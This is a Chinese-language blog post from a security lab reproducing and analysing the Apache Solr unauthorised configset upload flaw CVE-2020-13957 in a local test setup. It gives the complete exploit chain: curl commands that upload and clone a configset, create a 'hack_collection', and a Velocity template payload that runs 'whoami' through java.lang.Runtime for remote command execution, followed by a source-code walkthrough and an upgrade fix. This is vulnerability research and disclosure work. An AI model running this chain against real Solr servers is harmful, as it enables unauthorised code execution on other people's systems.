http上传zip文件_Apache Solr 未授权上传漏洞(CVE202013957)的复现分析

本文详细分析了Apache Solr的未授权上传漏洞CVE-2020-13957,该漏洞允许攻击者通过上传恶意配置集创建不受信任的collection,进而实现远程命令执行。通过环境搭建、漏洞利用、漏洞分析和修复建议,展示了攻击过程和防护措施。
摘要由CSDN通过智能技术生成

380b2d969f982f294d891b74f9f6a022.png

01

7a4e15ac2d574a4db16720a578cb4bd7.png

漏洞简介

漏洞名称:Apache Solr 未授权上传漏洞(CVE-2020-13957)的复现分析

漏洞编号CVE-2020-13957

漏洞类型:未授权上传

危害等级:高危

影响范围Apache Solr 6.6.0 -6.6.5

                Apache Solr 7.0.0 -7.7.3

                Apache Solr 8.0.0 -8.6.2

02

7a4e15ac2d574a4db16720a578cb4bd7.png

组件概述

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

Solr可运行在SolrCloud(分布式集群模式)和StandaloneServer(独立服务器模式)两种模式下,当以SolrCloud模式运行时,可通过Configset API 操作Configsets,包括创建、删除等。

03

7a4e15ac2d574a4db16720a578cb4bd7.png

漏洞概述

对于通过ConfigsetAPI 执行UPLOAD时,如果启用了身份验证(默认未开启),且该请求通过了身份验证,Solr会为该configset的设置“trusted”,否则该配置集不会被信任,不被信任的configset无法创建collection。

但当攻击者通过UPLOAD上传configset后,再基于此configset 创建 configset时,Solr不会为这个新的configset进行信任检查,导致可以使用未经信任检查的新configset创建collection。

同时,Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

04

7a4e15ac2d574a4db16720a578cb4bd7.png

环境搭建

下载solr-8.0.0

http://archive.apache.org/dist/lucene/solr/8.0.0/

04efe0ab42049b2a66bb8b3fe7c32a2e.png

在下载好的solr下bin目录打开cmd执行

solr.cmd start -c

启动SolrCloud,由结果得知对应端口为8983。

55e77fb7e3755fb87919c34458589537.png

外部访问http://192.168.240.130:8983/,可正常访问。

bc725cc824feb437f07cca9f730c21b8.png

05

7a4e15ac2d574a4db16720a578cb4bd7.png

漏洞利用

下载源码,将\server\solr\configsets_default\conf目录下的solrconfig.xml文件中params.resource.loader.enabled的值设置为true,conf目录下所有文件打包成一个压缩文件。

e051929ca6f3b50a377228ad1cfb5645.png

通过上传API将zip上传,命名configset为“config1”。

Curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://192.168.240.130:8983/solr/admin/configs?action=UPLOAD&name=config1"

1d4e845aaffa833a19eadd9206def9ab.png

以前面上传的“config1”的配置为模板,创建一个新的配置集“config2”,绕过不能通过直接UPLOAD创建collection的限制。

curl "http://192.168.240.130:8983/solr/admin/configs?action=CREATE&name=config2&baseConfigSet=config1&configSetProp.immutable=false&wt=xml&omitHeader=true"

91ca4162b6f858ca8247be9a3df8dc59.png

根据CREATE得到的新配置集“config2”创建恶意collection,名为“hack_collection”。

curl "http://192.168.240.130:8983/solr/admin/collections?action=CREATE&numShards=1&name=hack_collection&collection.configName=config2"

d180eb0a34bb8685c5d162dd712be408.png

我们可以利用已上传的collection进行远程命令执行,此处执行命令“whoami”,由返回结果可知攻击成功,由此实现了远程命令执行的攻击。

http://192.168.240.130:8983/solr/hack_collection/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

73e4d0efc6a31a0a5adaff90a149e4c5.png

06

7a4e15ac2d574a4db16720a578cb4bd7.png

漏洞分析

系统对应的执行jar包为“solr-core-8.0.0.jar”。

我们接下来从攻击poc入手,配合源码查看攻击是如何实现的。

我们进行第一步攻击:

Curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://192.168.240.130:8983/solr/admin/configs?action=UPLOAD&name=config1"

当传入zip配置文件时,会调用getTrusted函数进行判断是否允许创建,该配置对应的node:

org.apache.solr.handler.admin.ConfigSetsHandler。

c80c56f94d569454ed073dec62297e3f.png

虽然该配置文件集会被标记成未授信,但仍然会被写入到服务器中。

d844483fc6859f8012a900421d7eaf37.png

所以我们第一步上传的配置集config1会被写入到服务器中。

我们查看http://192.168.240.130:8983/solr/#/~cloud?view=tree

可以在配置集中看到config1,其中的关键配置“params.resource.loader.enabled”已按我们事先的配置设置为“true”

9a31f3fba0d84152daa8e48f42b187fc.png

而后我们跟进第二步攻击:

curl "http://192.168.240.130:8983/solr/admin/configs?action=CREATE&name=config2&baseConfigSet=config1&configSetProp.immutable=false&wt=xml&omitHeader=true"

跟进到判定点org.apache.solr.handler.admin.ConfigSetsHandler。

该操作是以我们刚刚传入的配置集“config1”为模板,创建新的模板,命名为“config2”。

371003a5ff9d6dc03252892c7bdb4c3e.png

跟进copyPropertiesWithPrefix此处会通过configSetProp.前缀,筛选对应的CREATE配置。

e684675a45c480b5e1199db57c4d27c8.png

值得注意的是此处CREATE这一步在通过母版创建子版的时候是不会调用getTrusted函数进行校验的,故而通过这样的步骤创建的新配置集不会被标记为“未授信”。

而在受影响版本范围外,比如下图的colr v8.7.0,我们可以看到是增加了函数“isTrusted”的调用以进行授信检查(函数isTrusted在v8.7.0中等价于getTrusted函数的功能)。

f9f50ec83daa30e4700c670231544ffb.png

发送此攻击后,我们访问系统,我们可以看到配置集“config2”也被成功创建,而且其中的关键配置“params.resource.loader.enabled”也已按我们事先的配置设置为“true”。

8dcd0a8aca5a43f9351ab118f1af1b83.png

随后我们跟进下一步攻击:

curl "http://192.168.240.130:8983/solr/admin/collections?action=CREATE&numShards=1&name=hack_collection&collection.configName=config2"

跟进此步攻击的对应执行代码:

org.apache.solr.cloud.api.collections.CreateCollectionCmd

跟进到call函数,这个函数较长,大致作用就是创建collection并判断选用的是哪个configsets,最后刷新collection的列表。

e30cdb8323ca4a5345c42ef9036e9183.png

通过这一系列的操作最后就能够生成新的collection,即配置被加载。

我们查看页面:

http://192.168.240.130:8983/solr/#/~collections

可以看到新增了一个名为“hack_collection”的collection,而且该collection对应的“configName”为设置了“params.resource.loader.enabled”为“true”的“config2”。由此攻击者可以利用创建的collection,调用solr组件进行远程代码执行。

d8f3b92a33d87bee3270eafe5a8eba64.png

07

7a4e15ac2d574a4db16720a578cb4bd7.png

修复建议 

升级到最新版本:http://archive.apache.org/dist/lucene/solr/

08

7a4e15ac2d574a4db16720a578cb4bd7.png

参考链接 

https://issues.apache.org/jira/browse/SOLR-14663

https://github.com/apache/lucene-solr/commit/8f2f80bbb3c35fef036dce3162f4f03bf465e5f2

380b2d969f982f294d891b74f9f6a022.png

点个在看 你最好看

380b2d969f982f294d891b74f9f6a022.png

关于我们 

极目安全实验室(JmLab)由中国网安·广州三零卫士成立,汇聚多名537d343a642b3ee1b3a960660be22174.png安服专家,主要服务于广东省各级党政机关,深耕安全服务、数据保护、病毒分析、威胁狩猎等安全领域。主要旨在为客户提供安全运营服务,通过运营驱动安全体系建设,护航数字经济发展。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值